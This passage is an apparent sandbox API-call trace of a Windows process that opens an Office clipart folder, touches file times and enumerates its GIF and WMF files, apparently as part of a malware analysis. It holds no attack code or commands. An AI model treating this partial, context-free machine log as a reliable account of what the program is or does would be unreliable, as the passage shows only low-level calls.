ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0067.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0067.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0067.906] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0067.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.906] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0067.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.907] NtClose (Handle=0xec) returned 0x0 [0067.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0067.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0067.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd57a8 [0067.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.907] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0067.998] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.204] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0068.204] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.205] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.205] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.205] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.205] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.205] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0750 [0068.205] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd58b8 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0068.205] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0068.206] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0068.207] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, 